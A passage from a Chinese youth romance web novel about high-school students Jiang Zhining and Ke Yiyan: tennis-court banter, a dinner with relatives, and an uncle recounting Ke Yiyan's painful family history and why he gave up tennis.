虽然俞杨外号戏精，但他撒谎功力很不行，尤其是在柯译衍面前。 “哎，都休息这么久了，该上场打球了。” 俞杨装没听见，自言自语舒展手臂，趁柯译衍一个不注意，猛然起身要溜，可惜没成功，屁股刚抬起来，就被柯译衍迅速按住肩膀。 柯译衍手掌用力压着他，面无表情放话：“话没说完，走什么？” “什么走什么！”俞杨强撑气势，紧张胡扯，“我……我要去打球啊，这边球场有多难约你不知道吗？要珍惜资源，别他妈打十五分钟就要休息一个小时，就说丢不丢人？！” “少跟我扯东扯西。”柯译衍突然伸手紧锁俞杨脖子，将人强势按到胳膊下，低气压逼问，“你和她说什么了？” 俞杨被铁臂锁喉，狂翻白眼干呕，挣扎着求饶：“呕！冤冤冤！没没说什么啊！你别呕瞎想行不？放手啊，大爷我要被你勒断气了！” 柯译衍冷笑起身，胳膊一点一点箍紧他脖子：“你说不说？” 俞杨脸色涨红，几乎快要窒息，一边用力反抗，一边凄惨叫唤：“杀狗了！杀狗了！柯译衍光天化日杀狗了！奇哥救命啊嘤嘤嘤嘤嘤！！！” 吴瑞奇闻声扭头，他上一场输在俞杨手下，这会儿不可能帮忙的，不仅不救命，还幸灾乐祸拍手叫好：“哈哈哈哈，杀得好！杀得好！” 俞杨气得破口大骂：“吴瑞奇你这个猪狗不如的东西！！！” * 江洲市这段时间的气温让人很摸不着头脑，忽冷忽热的。 最后一抹残阳消失天边，温度随之骤降，姜织宁坐在长椅上，被冷风吹得打了个哆嗦，光洁小腿泛起细密鸡皮疙瘩。 她收起手机，紧了紧棒球服外套，扭头看向周静瑶：“走吧？” 周静瑶愉快嗯了声，把相机放进包里：“完事，走吧！” 姜织宁：“我看网上说球场那边有卖mini冰糖葫芦，很好吃。” “那走呗，再买杯热奶茶。”周静瑶不爽嘀咕，“这鬼天气，突然冷起来了，白天还热得要死！” 两人沿着小路走向网球场休息区，很快看到一排移动摊位，咖啡奶茶、烤红薯、热狗面包、冰糖葫芦、章鱼小丸子小吃种类还挺多。 不少人坐在露天座位上就食，姜织宁走到楼梯末尾，意外看到了周胜扬，他和几名男生女生围坐着喝饮料，几个网球包随意放在旁边草坪上，看样子是过来打球的。 去小吃摊位要经过周胜扬这桌，姜织宁面不改色地从他身后经过。 周胜扬的手机随意放在桌角处，屏幕亮着，停留在社交软件的个人主页上，姜织宁路过他背后，不经意扫了眼手机屏幕，视线收回中途，猛然停顿。 她止步，再度垂眸，仔细看了眼他的个人主页。 Fly? 好眼熟的ID和头像。 这不就是柯译衍后援会里，那个到处乱说话，到处诋毁柯译衍的著名网络喷子吗？ 服了。 所以，周胜扬就是Fly。 大前天，还在私信里和她激情互撕的Fly。 好无语！好离谱！ 这一刻，姜织宁觉得周胜扬无比下头。 后援会里有不少人骂柯译衍，那些话一句比一句难听，之前姜织宁不清楚柯译衍的过去，所以她无法帮忙说些什么。 唯一让她看不顺眼，特意去私信里骂人的就是这位Fly。 因为这个神经病说，柯译衍代表江中参加校网球联赛没有任何意义，冠军毫无含金量，为校争光是冠冕堂皇，自我欺骗，纯属欺骗小迷妹。 他这么说，姜织宁就不能忍了。 那天晚上，她怼人私信发过去，隔天Fly就回复了，比她更长的阴阳怪气小作文，一口气回了好几篇过来，喷柯译衍的同时还抹黑嘲讽江中。 姜织宁几乎不登陆那个社交软件，没什么时间精力浪费在Fly身上，本来都不打算回他了，结果看到他故意抹黑母校，又忍不了了，抽空骂了几句。 两人你来我往，就这么在私信里“文明礼貌”地互撕了一段时间，并且早已偏离最初话题。 当然，主要是这位Fly的功劳。 他就是狗皮膏药的最佳代言人，赶都赶不走，孜孜不倦给她发些神经话过来，还让她别喜欢柯译衍，也不管她回不回应。 姜织宁万万没想到，周胜扬就是这位Fly。 得知真相的这一刻，她内心狂翻白眼，心想这人怎么这么小心眼啊，非要追着柯译衍不放。 她对天发誓，以后绝不会再回复周胜扬一个字，她愿意承认，她吵不过瞎子。 周胜扬就是瞎子，瞎子是看不见字的，跟这种人说什么都没用，毫无意义，纯属浪费时间。 生命有限，当然不能把大好时光浪费在瞎子身上。 姜织宁站着没走，见状，坐周胜扬旁边的美女用不友善的眼神打量着她，心里不乐意了，误以为姜织宁想和周胜扬搭讪。 美女斜眼看着姜织宁，充满敌意哎了声，开口质问：“你谁啊？一直站胜扬背后想干嘛啊？” 周胜扬愣了下，扭头看去。 怎么是姜织宁？ 他呆滞两秒，脸色惊喜起身：“你怎么来了？找我有事？” 姜织宁面无表情瞥他一眼：“你谁？” 周胜扬：“” 同一时间，柯译衍几人沿着主路走向球场休息区，走到咖啡摊位时，众人停下来买喝的。 俞杨眼尖，第一个发现姜织宁，立马冲她挥手高呼：“宁王！宁王！” 姜织宁闻声转头。 “哎？宁王旁边那人是”俞杨定睛一看，顿时嫌弃啧了声，吐槽道，“怎么周狗也在啊，晦气！两人站一起干嘛，周狗在骚扰宁王吗！” 柯译衍冷眼注视着周胜扬，正准备抬脚过去，就见姜织宁冲周胜扬翻了个白眼，拉上周静瑶走过来。 等人走到身边，柯译衍垂眸看着姜织宁：“他有什么事？” 她摇头：“没事，我和周导从小路那边走上来，凑巧经过瞎子背后。” 瞎子？ 柯译衍挑眉笑了下：“想喝什么？” 姜织宁扫了眼菜单，思考两秒说：“热可可吧，你们来这边打球？” 柯译衍嗯了声，扫码付款。 “周导，你要喝什么，焦糖玛奇朵要不要？”姜织宁视线寻向跑去买章鱼小丸子的周静瑶。 周静瑶：“要！” 姜织宁回头，还没来得及开口，柯译衍已经利索下单付款。 柯译衍今天穿了身利落有型的冷酷黑，他抬手扫码时，姜织宁发现他戴了护腕，她立马凑上去打量，笑眯眯说：“你今天戴护腕了啊，感觉怎么样，合适吗？” “肯定合适啊！”俞杨闪身过来，急不可耐插嘴道，“感觉特别好！宁王你是不知道，衍神今天战绩斐然，横扫我们几个，简直是All Kill啊！哎哟，我看啊，那绝对是护腕的功劳，这护腕就跟护身符似的！” 姜织宁被他说笑了。 “是吧，衍神？”俞杨故意使坏问。 柯译衍冷淡瞥他一眼：“有你什么事，让你说话了？” “就说！就说！”俞杨瞪他一眼，问道，“宁王你们来这边干嘛？” 她解释：“陪周导出来拍照。” 俞杨哦了声，笑嘻嘻献上彩虹屁：“难怪今天美貌翻倍，更加女神了！你们现在一起去吃晚饭？” 姜织宁：“没有，周导要去亲戚家，我去下湾中心。” 俞杨：“下湾中心？这么巧，那你和衍神同一个目的地啊。” “是吗？”姜织宁目光挪向柯译衍。 柯译衍从服务员手上接过热可可，纸杯有些烫，他拿了个杯套套上，递给姜织宁，“嗯，去舅舅公司。” “我是去姑姑公司，要和她一起吃晚饭。”姜织宁眨了眨眼，有些惊讶地说，“柯叔叔的公司也在下湾中心？” 柯译衍点头：“EQUA总部一直在那边。” “这么巧啊，SVIEW也是，不过姑姑的公司最近才搬过去，两人居然在同一个园区办公。”姜织宁开玩笑说，“该不会，是柯叔叔让姑姑搬来下湾中心的吧？” 柯译衍早就看出舅舅有复合的想法，姜织宁这么一说，想了想，还真有可能是舅舅故意所为。 徐徐图之，很像舅舅的作风。 难怪姜阿姨总骂舅舅阴险老男人，这么看来，还挺有道理。 “嗯，有可能。”柯译衍勾唇笑了笑，随口问：“你们现在回去？” 姜织宁：“对，买好东西就走。” 他又问：“你怎么过去？” 她说：“本来想坐地铁，但感觉这个点下班人很多，犹豫中。” 他提议：“我打车，一起过去？” “也行。” 饮料全部做好，姜织宁把焦糖玛奇朵递给周静瑶，一起小跑到冰糖葫芦摊位，除了有长串的糖葫芦，还有各式各样的mini款，她扫了眼，感兴趣挑选起来。 几名少年步伐慢悠悠走在后头。 俞杨揽上柯译衍肩膀，嬉皮笑脸调侃起来：“咱舅舅和宁王姑姑居然在同一个园区办公，啧啧啧，咋这么有缘呢，锁死锁死！我看双A组锁死得了！” “” 柯译衍算是发现了，自从俞杨得知他喜欢姜织宁后，这戏精就开始拿捏把柄，频繁在他面前作死，天真以为不能把他怎么样。 呵，可笑！ 早晚给他骨头分家！ 柯译衍不屑扯了扯唇角，甩开俞杨的手，嗓音没什么温度地说：“你皮痒欠揍就直说，拐弯抹角我听不懂。” “呵呵！我要和宁王说，你是个冷酷无情的人！绝对不能找你这种人做朋友！” 俞杨姿势浮夸地朝姜织宁飞奔而去，高声告状：“嘤嘤嘤，宁王你看我脖子！！！柯译衍这逼今天杀狗了！！！” 柯译衍：“” 第75章 她心跳突然漏了一拍 耐心等待姜织宁买好东西, 柯译衍叫了辆车。 一整天都在外面拍照，人挺疲惫的，姜织宁坐进车后排, 找了个舒适坐姿，从包里拿出半只蓝牙耳机戴上, 打开音乐app找歌听。 指尖划动app看了会儿，退出页面, 习惯性点进音乐博主K的个人主页，想看看他最近有没有更新。 从头到尾, 仔仔细细浏览了两遍, 姜织宁忍不住长长叹了口气。 果然, K的账号仍然是一副被弃用的老样子，没有任何活跃迹象, 她顺手查看了下之前发过去的私信，也是一样, K没回复她。 姜织宁惆怅叹了口气，心想, 估计这个账号是真的被弃用了，连粉丝量都开始减少了。 柯译衍和朋友打完电话, 按灭手机看向姜织宁：“下车后直接去EQUA总部。” “啊？”姜织宁闻声扭头, “我吗？” “对, 姜阿姨现在在EQUA开会, 说晚上一起吃饭。” “和柯叔叔一起？” 他点头嗯了声。 姜织宁忽然想起要问的事，连忙点头说：“可以可以。” 汽车驶入下湾中心园区, 缓缓停在一幢设计时尚前卫的大楼门口。 关上车门, 姜织宁跟随柯译衍走入EQUA总部，趁柯译衍在前台登记信息, 她饶有兴致打量着右边的玻璃房。 信息登记好，柯译衍从前台手中接过亮橙色的手环，递给姜织宁，示意她：“套到手腕上。” 她依言照做，好奇问：“这是干嘛用的？” 柯译衍解释：“给临时访客用的，有些楼层有门禁，扫手环才能进去。 ” 姜织宁：“哦，那你怎么不用戴啊？” 他笑了下：“以前不是和你说过吗。” “说什么？” 柯译衍勾唇看着她，语气闲闲，带着几分不着调地说：“我是EQUA兼职生，系统里当然有我的信息。” 姜织宁：“？” 姜织宁：“” 面对柯译衍突如其来的调侃，姜织宁足足无语了好几秒，最后硬是没忍住，抿唇笑起来，不满抬手打了他两下。 她想起曾经误会他是EQUA兼职生的乌龙过往，一边笑，一边警告他：“柯译衍你还有脸说！骗我很好玩是吧？” 柯译衍也不躲，闲散站着不动，任由少女拍打，悠悠笑道：“我可没骗你，难道不是你误会在先？” “还没骗我？”姜织宁斜眼瞪他，翻起旧帐，“九月初，EQUA定制服务那次，是谁亲口对我说——我是兼职？你还不愿意给我微信，干嘛，怕我对你图谋不轨吗？” 柯译衍愣了下，有点佩服姜织宁。 还真被她说中了，那时候确实怕她对自己有想法，当然，也怕自己对她有想法。 柯译衍不自然轻咳一声，开玩笑说：“那会儿就是兼职啊，我还特意为你挂了块兼职工牌你忘了？知道修改你那宠物图案有多费劲么，足足改了两百下才完事。” “” 姜织宁冷哼一声，扭头就走。 脾气这么大，这会儿倒是一副宁王做派了。 柯译衍无奈叹气，懒洋洋哎了声，右手眼疾手快扯住她手臂，将人一把拉回身前，低声哄道：“好了啊，我的错。” 少年手劲大，没控制住力道，姜织宁被拽得脚步趔趄，猛然跌撞进他怀里。 额头磕向柯译衍宽阔的胸膛，那股熟悉好闻的纯净冷调气息瞬间扑面而来。 姜织宁滞住，刹那间，心跳突然漏了一拍，身体里随之浮起一种从未有过的陌生反应。 因为柯译衍的靠近，她的心尖一下子变得酥酥麻麻，心跳频率也变得无比混乱，根本不受控制。 柯译衍怕她没站稳，没松手，左手掌住姜织宁后脑勺，稳当护着，低头看向她：“没事吧？” 少女没反应，一动不动，不知道在低头想什么。 柯译衍皱眉，歪头凑近她的脸，嗓音微紧：“姜织宁？你别吓我啊。” 姜织宁慢吞吞回过神，努力压下那股异样情绪，镇定抬头看向他，继续刚才话题：“你刚才道歉是真心的？” 柯译衍顿了下，忍住笑意，弯唇点头：“嗯，都是我的错。” 她撅嘴嘟囔一句：“这还差不多。” “走吧，上楼。”柯译衍松开手，下巴微抬，朝电梯方向指了下。 抬脚前，姜织宁再度望向右边，感兴趣问：“那边玻璃房是干嘛的？” 柯译衍侧目瞄了眼，解释：“展示厅。” “哦。” “想看？” “有点，能看吗？” “能看。”柯译衍带姜织宁走到玻璃房的门禁前，“手环刷一下。” 姜织宁抬起手腕，嘀一声，感应门朝两边打开。 很新奇的体验，她笑着回头看他一眼，“有点酷哎。” 眼看两人离开，两位前台立马默契对视一眼，下一秒，椅子迅速滑到一块儿，窃窃私语起来。 “那妹妹也太漂亮了吧，长得跟明星似的，谁啊？以前没见她来过。” “看刚才两人打情骂俏那样，估计是柯大少爷女朋友？” “哈？真的假的？” “猜的，主要是两人配一脸，不是情侣我不信，而且柯大少爷之前都是独自过来，没见过身边有女孩子。” “嗯有道理，普通朋友不可能带到公司来的。” “年轻真好啊！话说，现在高中生颜值都这么高了吗？怎么我读高中那会儿，个个都灰头土脸的？” 走进玻璃门，宽阔视野映入眼帘。 展示厅的面积非常大，装修时尚大气，有序陈列着EQUA各个系列的产品，虽说是展示厅，姜织宁倒觉得这里更像是品牌概念店。 挨着正门的角落有个咖啡吧，数名员工正围聚一角，低声讨论着。 墙上装了块巨大的电子屏，屏幕里轮流切换EQUA赞助的体育赛事，姜织宁饶有兴致看着，时不时歪头问柯译衍几句。 展示厅里的电梯直达楼上办公区，两人闲聊时，叮一声，电梯门打开。 柯绍之、姜颖、合作方以及数名下属，有说有笑地从电梯里走出来。 柯绍之瞥见姜织宁来了，微笑扭头，对合作方说：“顾总，你们刚才不是说打算推出舞者系列，要做消费者调查么，巧了，这不就来了位意向顾客。” 男人转头看去，发现柯译衍也在，顿时笑起来：“难得啊，很久没看到译衍了。” “顾叔。”柯译衍点头打了声招呼。 男人笑着点点头，目光平移到柯译衍身旁，好奇问：“这位小姑娘是？” “我宝贝侄女。”姜颖顺势接话，自豪道，“跳舞很厉害的。” “哎哟！原来是姜总的侄女！”顾总惊了下，扭头对身后的设计师说，“你过去取取经。” 设计师拎着电脑走向姜织宁。 姜颖一起快步走过来，对姜织宁说：“你跟着译衍在EQUA这边等一会儿，我们忙好了就带你们去吃晚饭。” 姜织宁点了点头。 长辈忙长辈的事，姜织宁和设计师到咖啡吧坐下，柯译衍去吧台点了三杯饮料，两份甜品，随后懒散坐到姜织宁身旁。 设计师一边打开电脑，一边说：“是这样的，我们品牌在规划舞者系列的服饰，所以最近在接触一些喜欢跳街舞的消费者，想问下妹妹啊，你平时跳哪种舞？” 姜织宁：“一般是hiphop。” “hiphop？”设计师愣了下，目光中流露出几分惊讶，“还以为你跳爵士呢，我们接触下来，发现女生跳爵士比较多。” 姜织宁笑了笑：“爵士也跳，其实我最早学的是古典舞。” “wow！”设计师被震惊到了，瞪大眼，佩服看着她，“厉害啊，妹妹这么酷的吗！” …… 姜织宁这边聊完，长辈们那边也差不多结束交流。 没过多久，柯绍之亲自开车，绕到展厅正门接上两名高中生，姜织宁跟随姑姑坐到车后排，柯译衍坐在副驾驶。 餐厅已提前预定好，车停好，四人搭乘电梯至大厦顶楼的法式花园餐厅。 姜织宁慢半步跟在后头，悄悄问姜颖：“姑姑，柯叔叔干嘛突然请我们吃饭啊？” 其实是临时决定，姜颖下午来柯绍之这边看合作，中途，柯绍之听说姜织宁要过来找她吃晚饭，便随口建议姜颖一起共进晚餐。 女人解释：“突发兴起，你柯叔叔说马上要新年了，你们高中生平时上学辛苦，趁这个机会，请你好好吃顿大餐，没事啊，待会儿想点什么就点什么，老男人有钱。” 姜织宁忍不住笑起来，然后抬手掩唇，将嗓音压到最低：“姑姑，要要问柯叔叔的事” 女人会意说：“你说译衍的事？” “对。” “放心，给你记着呢，别着急，等晚餐结束再说。” “好。” 餐厅开在大厦顶楼，柯绍之特意预订了靠窗位置，视野极佳，扭头望去，接近360度的城市繁华夜景一览无余。 姜织宁浏览着菜单，比起主菜，她对甜品更感兴趣。 这时，隔壁桌端上来一盘双人份蒙布朗，蛋糕中间插了两根燃烧的仙女棒，她立马探头看去，双眼放光问：“这是什么？” “栗子蒙布朗，是我们餐厅的特色甜品哦。”服务员笑答，“元旦这几天会附赠仙女棒服务。” 见状，柯绍之微笑道：“既然宁宁喜欢，那我们也点一份吧。” 等点好餐，姜颖闲聊问：“和姑姑分享一下，你们小朋友明天怎么跨年。” 姜织宁分享道：“上午早起去音暴彩排，下午跟随舞团到市区参加跨年演出，晚上和班里同学去江边看焰火秀。” “译衍呢？”姜颖笑眯眯看向柯译衍。 姜织宁插嘴说：“他明天晚上和我们一起看烟花，是吧柯译衍？” 柯译衍点头嗯了声。 姜织宁顺势问他：“你在微信群里吗？不在的话我给你拉进去。” 柯译衍：“什么群？” “周导临时拉了个跨年群，说方便通知。” “我看下。”他拿起手机。 姜织宁点开微信群，屏幕朝向他：“就这个，特别热闹，一天到晚消息不断。” 两名高中生顾自聊了起来，姜颖慵懒撑着脸颊，笑眯眯看着宝贝侄女，发自内心感慨：“真不错，姑姑我已经过了人挤人看烟花的年纪，真羡慕你们这群小朋友，蓬勃朝气，自由浪漫，太青春了。” “怎么，”柯绍之眉锋微扬，哼笑道，“觉得自己老了？” 她抿了口柠檬水，扭头瞪他一眼，没好气说：“对啊，和俩小朋友比起来，那我不就是老了吗，你别笑我，你也没好到哪里去。” 柯绍之无辜中枪，纳闷反问：“带上我干嘛？” “你比我老啊。” “我只比你大两岁，谢谢。” “两岁还不老？” “” 服务员开始上菜。 姜颖想起一事，叮嘱道：“你们在外面玩注意安全啊，尤其是看烟花的时候，江边人很多，都给我小心点。译衍，你帮阿姨看着点宁宝，千万别让她被人挤摔倒，我最担心乌泱泱的地方。” 柯译衍点头应下：“姜阿姨放心。” “嗯，有你在宁宝身边” 话音停顿，姜颖忽然反应过来，她这么说好像有点奇怪啊，想了想，改口道：“有你在场，我还是放心的。” 餐桌上话题不断，气氛轻松愉悦。 女生就是这样，有时候第六感特别敏锐，有时候又会后知后觉，反应迟钝。 比如眼下，用餐途中，姜织宁突然察觉出柯叔叔不太对劲。 男人嘴里说的话，眼中流露出的情感，以及很多不经意发现的小细节种种行为举止都在证明她吃到瓜了！ 好像，柯叔叔喜欢姑姑！ 她默默暗中观察了一会儿，脑子里想起之前蒋医生说的—— 两人分分合合又在一起。 想到这，姜织宁内心很震惊。 不会吧 难不成，姑姑和柯叔叔复合了？ 也没听姑姑说起过啊。 姜织宁是直球性子，按耐不住，偷偷冲柯译衍使了个眼色，淡定说：“你看下微信群消息，有人找你。” 柯译衍放下刀叉，拿起手机。 他切进微信，群消息没看到，倒是一眼瞧见姜织宁发来的三个红色感叹号。 【Ning】：！！！ 他抬眸瞥她一眼，回了个问号。 【Ning】：我好像吃到瓜了！ 【Ning】：你舅舅，是不是对我姑姑有那方面想法？ 【K】：什么想法？ 【Ning】：柯叔叔是不是想复合啊？ 柯译衍勾唇笑了笑，慢悠悠打字。 【K】：看出来了？ 【Ning】：？ 【Ning】：你不会早就知道吧？ 【K】：或许姜阿姨也知道。 【Ning】：？ 【Ning】： 姜织宁撇了撇嘴，冷哼抬眸，面无表情瞪他一眼。 【Ning】：哦，所以只有我不知道咯。[微笑] 柯译衍唇角笑意加深，安慰她。 【K】：想开点，你现在知道了。 【K】：还有啊，我说的是或许。 姜织宁并没有被安慰到。 【Ning】：[生气][打人][再见] 【Ning】：没义气，绝交得了。 第76章 少年的喜欢，藏不住 吃得差不多, 服务员把栗子蒙布朗端上桌，微笑道了声新年快乐。 姜颖特意招呼柯译衍换座位，让他坐到姜织宁身边, 心想着，小朋友就应该坐一起嘛, 这样拍照才好看啊。 柯译衍不明其意，但还是照做了。 餐桌烛火摇曳, 蛋糕里的仙女棒滋啦滋啦迸发出璀璨火花，绚丽焰火照亮少年少女/优越出众的面孔。 热烈耀眼的青春气息, 让人看着为之心动。 姜织宁趁人不注意, 偷偷拿勺子抹了点奶油到指尖上, 她用余光暗中观察着柯译衍，突然间, 掐准时机，飞快伸手往他脸上抹去。 柯译衍早就发现她的小动作, 一把握住她手腕，迅速侧身避开, 他歪头看着她，鼻子哼出一声浅笑, 勾唇警告：“姜织宁, 是不是想挨打？” “哈哈哈哈哈, 放手, 拉着我干嘛！”姜织宁笑得不行，耳朵都笑红了。 柯译衍斜睨着她, 慢悠悠质问：“还敢不敢了？” 姜织宁被他强势拽着不放, 心脏砰砰跳，脸颊薄透的皮肤逐渐泛红, 她和他拉扯着，不得已大声告状起来：“柯叔叔，你看柯译衍，他欺负我！” 柯绍之温声笑道：“译衍，让一让妹妹。” 姜织宁眉眼笑得弯成月牙状，威胁道：“柯译衍听见没？快放手！快放手！” 柯译衍挑眉，简直要被她气笑，偏不听，也不放手，他知道姜织宁一肚子坏水，要是现在放手，这小坏蛋绝对马上把奶油抹他脸上。 他紧握住姜织宁手腕，单手抽了张纸，去擦她指尖上的奶油。 两人拉拉扯扯笑闹着，姜颖被这一幕感染得母爱大爆棚，兴致勃勃举起手机，对着两小朋友拍照片、录视频。 …… 吃完饭，柯绍之开车送人回家。 晚餐期间，姜颖和他提了嘴饭后有事要问，所以先送柯译衍回去，然后调转方向开往姜颖家。 柯绍之要集中注意力开车，姜织宁就没打扰他，一直耐心等待。 四十五分钟后，汽车缓缓停靠小区门口。 柯绍之侧目看向姜颖：“想问我什么？” 姜颖：“就是想问问你这位舅舅，年初澳网青少年赛失利之后，译衍在墨尔本到底发生了什么？” 柯绍之愣住，没想到她会问这个。 姜颖问得太僵硬了，一听就知道是复述，肯定是帮别人问的。 至于这个别人 柯绍之很聪明，沉思两秒，扭头看向姜织宁，温声说：“是宁宁想问吧？” 姜织宁：“” 姜颖很意外柯绍之居然猜得这么准，略不自然地啧了声，眼神不悦道：“你看宁宝干嘛？就是我问的，我想知道！译衍在去年不是拿了两个大满贯青少年冠军吗，怎么就放弃网球了？我看人很准，译衍绝对不是会轻易放弃的人！” “”柯绍之被她逗笑，调侃反问，“你看人很准？那怎么前任有问题？” 姜颖柳眉倒竖，满眼警告：“柯绍之！” 姜织宁怕两人一言不合吵起来，连忙插嘴说：“对对对，就是我想问，是我拜托姑姑问的。” 柯绍之：“一时半会儿说不清，找家咖啡馆吧。” 男人作势启动汽车，姜颖硬邦邦开口：“麻烦什么，对面有家社区咖啡。” 说完，“砰”一声，用力摔门下车。 得，这就生气了，又得花时间哄她开心，柯绍之无奈叹了口气，摇头下车。 路上，柯绍之问姜织宁：“你对译衍的过去了解多少？” 姜织宁不好意思笑了笑，老实回答：“其实不算多，也是最近才了解到一些事。我住院那段时间，偶然在网上看到了一些关于柯译衍放弃网球的说法，有些声音不太友善，所以我就私下找同学问了问柯译衍在网球方面的事。” 柯绍之：“哪位同学？” “俞杨。” 他了然点头：“俞杨啊，他确实比较了解译衍。” 时间不早，咖啡馆氛围安静，只剩下两桌客人窃窃私语。 点完饮料，三人随意找了张桌子坐下，柯绍之松弛靠向沙发，问姜织宁：“只想知道译衍在墨尔本发生了什么？” 姜织宁点头：“俞杨已经和我说了很多，包括柯译衍打网球的契机，父母从小缺位，教练Peter去世，换教练，新教练有问题，年初比赛时骨折住院，这些过去他全都说了。” “俞杨还说，Peter去世对柯译衍的影响特别大，但他并没有因此放弃网球，不过，俞杨也不清楚柯译衍在墨尔本经历了什么，才会导致他回国后突然转学，突然放弃网球。” 柯绍之耐心听完她的话，把话题抛给姜颖：“还记不记得，以前我和你提过，我亲姐柯卉芸很早就离婚了？” 姜颖回忆了下，犯嘀咕：“有点印象，记不太清了，这都多少年前的事了。” 柯绍之没在意，浅笑了笑，娓娓道来：“卉芸和她的前夫时征是在美国认识的，两人是大学校友，一毕业就领证结婚了” “大学毕业？”姜颖诧异打断，“你姐这么早就结婚了啊？” 柯绍之嗯了声：“其实，双方父母都对这段婚姻很不看好，都觉得另有良配，但卉芸不这么认为，她特别坚持，觉得自己嫁给了爱情，结婚第二年，卉芸生下译衍，也是在那年离的婚。” 姜颖不由蹙眉，猜测说：“这么快就离婚，该不会是男方出轨吧？” 柯绍之微微颔首。 “果然！”姜颖当即冷笑翻了个白眼，气骂道，“贪玩好色，男人都是一个德行！” “”柯绍之不自然咳了声，“别带上我啊，我不这样。” 女人重重冷哼一声。 他继续说：“时征的家庭条件很好，围绕他身边的女人源源不断，他这人很爱玩，心性定不下来，不愿意被婚姻束缚只守着卉芸，卉芸当时怀孕在身，心软原谅了他好几次。” “后来，她发现时征本性不改，天天夜不归宿，在外面乱来，便心死提出离婚。时家本就希望时征商业联姻，离婚手续办完后，时征移民去了新加坡。” “移民新加坡？”姜颖蹙眉说，“这样的话，岂不是译衍从小就没见过爸爸？你姐和前夫有来往吗？” 柯绍之摇头，冷声说：“离婚之后，两边彻底断了联系，时征没责任心，只顾自己花天酒地，根本不记得自己还有个儿子，他从来没有回国看望过译衍。” “至于卉芸”他叹了口气，“因为时征的原因，当时她的身心状态很不好，抑郁症、焦虑症所以连带着不喜欢译衍，冷落了译衍很多年。” “不就是男人害的吗！亏我之前还和宁宝说，译衍的父母很有涵养，放屁！扯淡！” 姜颖无语冷笑，不客气骂道：“这种该死的男人就是祸害，就应该被天打雷劈，被唾沫淹死！我看也好，千万不要和译衍有半点牵扯，哼！这种烂男人，不配做父亲！” 姜织宁一直安静倾听，听到这里，忍不住开口问：“柯叔叔，既然两家没有联系，那后来的新教练是怎么回事？” 柯绍之平静说：“时征的父亲年纪大了，这两年开始分起家产，时家的关系很复杂，时征有好几个同父异母的兄弟姐妹。” “时父是个很精明的人，最看重子女的能力，不太看重男女和辈分，时征烂泥扶不上墙，一辈子只会吃喝玩乐，没本事管理企业，他为了多点筹码争家产，利益熏心，就把主义打到了译衍头上。” “筹码？？？” 残酷冷血的两个字让姜颖听不下去了，她不可思议地拔高嗓门：“太可笑了！这姓时的烂男人，居然把亲生儿子当成筹码？猪狗不如啊他！” 柯绍之：“时父最喜欢看网球比赛，所以时征从小就学网球，他上大学时是校网球队队员，球技很一般，所以做不了职业球员。有一次，译衍去欧洲打比赛，最后拿了冠军，当时时征父子正好坐在观众席，时征就是在那时候盯上了译衍。” “怎么，这该死的男人想把译衍拐回家？”姜颖气笑。 柯绍之淡淡嗯了声。 姜颖翻白眼痛骂：“天打雷劈的狗东西！人贩子！” “这几年，时征拿着为了译衍前途着想的借口，频繁联系卉芸。”柯绍之看向姜织宁，说起她关心的事，“Peter意外去世，正好成为时征拉拢卉芸的突破口。” “那段时间，译衍的状态很消沉，卉芸又不懂网球，时征便借机主动找上卉芸，说了很多煽情话，说自己想弥补译衍，弥补这么多年欠缺的父爱。” “译衍十岁之前都是外公外婆带着，几乎没见过妈妈，卉芸走出离婚阴霾后，因为自己冷落儿子多年的做法，心里一直对译衍很愧疚，她爱子心切，太想为译衍做点什么。” 他叹了口气：“只能说，病急乱投医吧，最后卉芸轻信时征的话，接受了时征介绍过来的新教练。” 姜织宁犹豫了下，问道：“柯译衍也接受了？” 柯绍之：“时征很聪明，没有直接接触译衍，是让卉芸出面推荐的教练，那时，译衍有意缓解自己和妈妈的关系，看过教练的资料后，他就接受了，母子俩都没想到时征的真实目的。” 姜颖没听懂，不解问：“什么意思啊，这教练问题出在哪？没能力吗？” 柯绍之摇头：“能力不缺，只不过教练是时征的人，私下听命于时征。时征目光短浅，想让译衍在短时间内打出成绩，就让教练制定超出身体负荷，不科学、不合理的激进训练策略，那段时间，译衍经常受伤。” 姜织宁眉头紧皱，脸色很不好看。 柯叔叔说的这些话，太沉重了，让她听着心里特别特别难受。 她从小在爱的沐浴下长大，完全想象不到，在这个世界上居然还会有这种父亲。 一个把儿子当成筹码的冷血烂人。 血缘连接的不是亲情，而是利益算计。 姜颖更是忍不了，将手中咖啡杯重重一放，胸脯气得上下起伏，猛拍桌道：“简直神经病！这时征还是人吗？！他就应该去精神病院！” 柯绍之寒声讲：“好在译衍很快察觉出不对劲，年初澳网青少年赛，他因为身体不适导致比赛失利，住院期间，他把新教练解雇了，那时候，卉芸正好得知教练和时征串通一气的交易，被气得不轻。” “你姐是怎么知道的？”姜颖奇怪问。 柯绍之：“时征有个同父异母的姐姐叫时琼，一个很有手腕的女人，她主动找到卉芸，说明一切。时家内斗很厉害，谁都想继承时父的位置，互相陷害不是什么奇怪事。” 姜颖不屑嘲讽：“狗咬狗咯。” “教练被译衍解雇后，时征急得亲自找去医院，他在医院里撞见了卉芸，两人撕破脸皮，拿着译衍说事，互相指责，大吵一架。” “当时卉芸已经气到失去理智，吵架时她口不择言，说了不少关于译衍的违心话。”他深深叹气，看着姜织宁说，“译衍也在场，他全都听到了。” 姜织宁脸色复杂，轻声问：“所以，柯译衍就是因为这件事而放弃网球？” 柯绍之沉吟道：“占一部分原因吧，我想，从Peter去世开始，一系列接踵而至的打击，都是造成译衍厌恶网球，放弃网球的原因。” “厌恶？” 姜织宁愣住。 不是讨厌，而是更严重的字眼，厌恶。 她第一次得知，原来对于柯译衍而言，他居然是厌恶网球的。 那他为什么加入网球社？ 为什么参加校网球联赛呢？ 她仔细想了想，试着分析说：“柯叔叔，柯译衍之前不是参加了校网球联赛吗，就是你和柯阿姨来现场观赛的那一次，他比赛状态特别不错。还有学校活动课，他有时候也会去打网球，这是不是说明，他现在没那么厌恶网球了？” 柯绍之：“怎么讲呢，这个改变也让我和卉芸感到很意外，译衍刚回国的时候，和网球相关的东西全被他扔在仓库吃灰，碰都不愿碰一下，我们确实没想到他会参赛。” 他把剩下的话说完：“回国之前，时征和译衍见了一面。” 姜颖忍不住吐槽：“烂男人还有脸见面啊？” “是时征单方面找过去，我和卉芸都不在场，等我们赶到球场接人的时候，译衍已经在马路边等着了，他脸色很不好看，应该是一次很不愉快的见面。” 姜颖理所当然地说：“那肯定啊，怎么可能愉快！用脚趾头想想都知道，烂男人肯定净说些自私自利的话，无非就是劝译衍回时家咯，难道还指望这种人有父爱吗？喔唷，太阳要从西边升起来了！” 